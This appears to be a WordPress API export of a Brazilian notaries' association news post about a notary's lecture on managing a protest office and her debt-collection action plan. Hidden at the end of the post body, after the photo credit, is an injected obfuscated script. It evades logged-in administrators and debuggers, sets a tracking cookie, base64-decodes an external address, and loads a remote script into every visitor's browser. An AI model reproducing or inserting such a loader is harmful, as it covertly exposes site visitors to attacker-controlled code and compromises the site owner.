{"id":40607,"date":"2024-05-24T15:14:32","date_gmt":"2024-05-24T19:14:32","guid":{"rendered":"https:\/\/www.anoregmt.org.br\/novo\/?p=40607"},"modified":"2026-04-27T07:16:30","modified_gmt":"2026-04-27T11:16:30","slug":"tabelia-em-canarana-ministra-palestra-sobre-gestao-do-tabelionato-de-protesto","status":"publish","type":"post","link":"https:\/\/www.anoregmt.org.br\/novo\/tabelia-em-canarana-ministra-palestra-sobre-gestao-do-tabelionato-de-protesto\/","title":{"rendered":"Tabeli\u00e3 em Canarana ministra palestra sobre \u201cGest\u00e3o do Tabelionato de Protesto\u201d"},"content":{"rendered":"<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0A tabeli\u00e3 no 2\u00ba Of\u00edcio de Canarana, Cristina Cruz Bergamaschi, ministrou na tarde desta sexta-feira (24 de maio) palestra sobre \u201cGest\u00e3o do Tabelionato de Protesto\u201d, durante a realiza\u00e7\u00e3o do IX Encontro Regional de Not\u00e1rios e Registradores do Estado de Mato Grosso, em Chapada dos Guimar\u00e3es. O mediador foi o not\u00e1rio e registrador substituto no 2\u00ba Of\u00edcio de Pedra Preta, Wagner Oliveira de Melo.<\/p>\n<p style=\"text-align: justify;\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-40616 alignleft\" src=\"https:\/\/images.anoregmt.org.br\/955a00a2a7e1478d89b1bbc7a669f517:anoregmt\/2024\/05\/WhatsApp-Image-2024-05-24-at-14.59.03-4-200x300.jpeg\" alt=\"\" width=\"200\" height=\"300\" srcset=\"https:\/\/images.anoregmt.org.br\/955a00a2a7e1478d89b1bbc7a669f517:anoregmt\/2024\/05\/WhatsApp-Image-2024-05-24-at-14.59.03-4-200x300.jpeg 200w, https:\/\/images.anoregmt.org.br\/955a00a2a7e1478d89b1bbc7a669f517:anoregmt\/2024\/05\/WhatsApp-Image-2024-05-24-at-14.59.03-4-682x1024.jpeg 682w, https:\/\/images.anoregmt.org.br\/955a00a2a7e1478d89b1bbc7a669f517:anoregmt\/2024\/05\/WhatsApp-Image-2024-05-24-at-14.59.03-4-768x1153.jpeg 768w, https:\/\/images.anoregmt.org.br\/955a00a2a7e1478d89b1bbc7a669f517:anoregmt\/2024\/05\/WhatsApp-Image-2024-05-24-at-14.59.03-4-1023x1536.jpeg 1023w, https:\/\/images.anoregmt.org.br\/955a00a2a7e1478d89b1bbc7a669f517:anoregmt\/2024\/05\/WhatsApp-Image-2024-05-24-at-14.59.03-4.jpeg 1066w\" sizes=\"auto, (max-width: 200px) 100vw, 200px\" \/><\/p>\n<p>&nbsp;<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0Ela explicitou aos participantes do evento o plano de a\u00e7\u00e3o implantado na serventia em que \u00e9 titular, ressaltando que existem 20.878 t\u00edtulos protestados, culminando em R$ 123 milh\u00f5es a serem recebidos pelos credores e R$ 5,5 milh\u00f5es referentes aos emolumentos. De todos os credores, a Procuradoria-Geral do Estado \u00e9 a maior credora, tendo aproximadamente R$ 36 milh\u00f5es a receber.<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0Conforme a palestrante, as etapas iniciais do plano de a\u00e7\u00e3o ocorreram em outubro de 2022 com an\u00e1lise de dados, classifica\u00e7\u00e3o (separa\u00e7\u00e3o por faixas e credores), atendimento (cria\u00e7\u00e3o de script de atendimento e treinamento da equipe) e acompanhamento (monitorar atendimentos, respostas e contatos).<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0\u201cPor se tratar de um projeto cont\u00ednuo, sempre se faz necess\u00e1rio readequa\u00e7\u00f5es. Em 2022, todos os funcion\u00e1rios tinham acesso \u00e0 mesma base de dados, o que dificultou os atendimentos. Separamos para apenas um funcion\u00e1rio, por\u00e9m, n\u00e3o surtiu o mesmo resultado. Os funcion\u00e1rios receberam bases para atendimentos separados, mas n\u00e3o houve um padr\u00e3o na forma de trabalhar. Inexperi\u00eancia, turnover e demora nas respostas aos clientes devido \u00e0 sobrecarga foram pontos levantados e corrigidos. Ent\u00e3o, implantamos novo canal de atendimento aos clientes com protestos CRA, realizamos treinamentos da equipe em diversas situa\u00e7\u00f5es e criamos planilhas separadas por ano para melhor monitoramento\u201d, informou Cristina Bergamaschi.<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0A tabeli\u00e3 concluiu sua exposi\u00e7\u00e3o informando que o plano de a\u00e7\u00e3o resultou em 45% de crescimento em 2023\/2024.<\/p>\n<p><em>Cr\u00e9dito das fotos: M\u00e1rcio David<\/em><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u00a0 \u00a0 \u00a0A tabeli\u00e3 no 2\u00ba Of\u00edcio de Canarana, Cristina Cruz Bergamaschi, ministrou na tarde desta sexta-feira (24 de maio) palestra sobre \u201cGest\u00e3o do Tabelionato de Protesto\u201d, durante a realiza\u00e7\u00e3o do IX Encontro Regional de Not\u00e1rios e Registradores do Estado &hellip;<\/p>\n","protected":false},"author":3,"featured_media":40614,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-40607","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-noticias"],"_links":{"self":[{"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/posts\/40607","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/comments?post=40607"}],"version-history":[{"count":4,"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/posts\/40607\/revisions"}],"predecessor-version":[{"id":50192,"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/posts\/40607\/revisions\/50192"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/media\/40614"}],"wp:attachment":[{"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/media?parent=40607"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/categories?post=40607"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/tags?post=40607"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}